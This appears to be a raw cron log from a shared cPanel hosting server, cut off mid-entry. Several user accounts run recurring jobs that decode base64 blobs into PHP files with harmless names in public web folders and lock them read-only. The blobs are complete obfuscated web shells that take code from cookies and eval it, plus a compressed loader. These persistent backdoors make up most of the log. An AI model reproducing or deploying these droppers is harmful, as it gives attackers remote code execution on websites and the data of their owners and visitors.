Mar  2 03:46:02 medusa CROND[14666]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:46:02 medusa CROND[14700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:46:02 medusa CROND[14701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:46:02 medusa CROND[14702]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:46:02 medusa CROND[14703]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:46:02 medusa CROND[14704]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:46:02 medusa CROND[14709]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:47:01 medusa CROND[30473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:47:01 medusa CROND[30734]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:47:01 medusa CROND[30733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:47:01 medusa CROND[30735]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 03:47:01 medusa CROND[30745]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:47:01 medusa CROND[30746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:47:01 medusa CROND[30750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:47:01 medusa CROND[30751]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:47:01 medusa CROND[30753]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:47:01 medusa CROND[30754]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:47:01 medusa CROND[30756]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:47:01 medusa CROND[30748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:47:01 medusa CROND[30760]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:48:01 medusa CROND[13254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:48:01 medusa CROND[13255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:48:01 medusa CROND[13258]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:48:01 medusa CROND[13257]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:48:01 medusa CROND[13256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:48:01 medusa CROND[13260]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:48:01 medusa CROND[13263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:48:01 medusa CROND[13261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:48:01 medusa CROND[13265]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:48:01 medusa CROND[13267]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:48:01 medusa CROND[13266]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0